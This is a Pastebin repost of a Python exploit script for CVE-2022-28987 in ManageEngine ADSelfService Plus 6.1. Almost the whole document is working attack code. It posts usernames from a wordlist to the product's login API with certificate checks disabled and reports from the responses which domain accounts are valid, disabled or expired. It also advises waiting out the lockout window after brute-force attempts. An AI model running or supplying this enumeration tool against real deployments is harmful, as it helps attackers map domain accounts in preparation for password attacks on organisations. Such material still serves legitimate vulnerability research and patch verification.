Advertisement
FlyFar

ManageEngine ADSelfService Plus 6.1 - User Enumeration - CVE-2022-28987

Feb 14th, 2024
1,060
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.40 KB | Cybersecurity | 0 0
  1. # Exploit Title: ManageEngine ADSelfService Plus 6.1 - User Enumeration
  2. # Exploit Author: Metin Yunus Kandemir
  3. # Vendor Homepage: https://www.manageengine.com/
  4. # Software Link: https://www.manageengine.com/products/self-service-password/download.html
  5. # Version: ADSelfService 6.1 Build 6121
  6. # Tested against: Build 6118 - 6121
  7. # Details: https://www.manageengine.com/products/self-service-password/advisory/CVE-2022-28987.html
  8.  
  9. # !/usr/bin/python3
  10. import requests
  11. import sys
  12. import time
  13. import urllib3
  14. from urllib3.exceptions import InsecureRequestWarning
  15.  
  16. """
  17. The domain users can be enumerated like userenum module of the kerbrute tool using this exploit.
  18. If you conducted a brute-force attack against a user, please run the script after 30 minutes (default settings) otherwise the results can be false positive.
  19. """
  20.  
  21. def request(target, user):
  22.     urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
  23.     url = target + 'ServletAPI/accounts/login'
  24.     data = {"loginName": user}
  25.     headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"}
  26.     req = requests.post(url, data=data, headers=headers, verify=False)
  27.  
  28.     # For debugging
  29.     # print("[*] Response for " + user + ": " + req.text.strip())
  30.     if 'PASSWORD' in req.text:
  31.         print("[+] " + user + " is VALID!")
  32.     elif 'Your account has been disabled' in req.text:
  33.         print("[+] " + user + " account has been DISABLED.")
  34.     elif 'Your account has expired' in req.text:
  35.         print("[+] " + user + " account has EXPIRED.")
  36.     elif 'Enter the text as shown in the image.' in req.text:
  37.         print("[!] The exploit doesn't detect expired and disabled users. Please, run it after the 30 minutes. ")
  38.     elif 'Permission Denied.' in req.text:
  39.         print("[-] " + user + " is not found.")
  40.  
  41.  
  42. def get_users(target, file):
  43.     try:
  44.         file = open(file, "r")
  45.         for line in file:
  46.             line = line.strip()
  47.             time.sleep(0.5)
  48.             request(target, user=line)
  49.     except FileNotFoundError:
  50.         print("[-] File not found!")
  51.         sys.exit(1)
  52.  
  53.  
  54. def main(args):
  55.     if len(args) != 3:
  56.         print("[*] Usage: %s url usernames_file" % (args[0]))
  57.         print("[*] Example: %s https://target/ /tmp/usernames.txt" % (args[0]))
  58.         sys.exit(1)
  59.     get_users(target=args[1], file=args[2])
  60.  
  61.  
  62. if __name__ == "__main__":
  63.     main(args=sys.argv)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement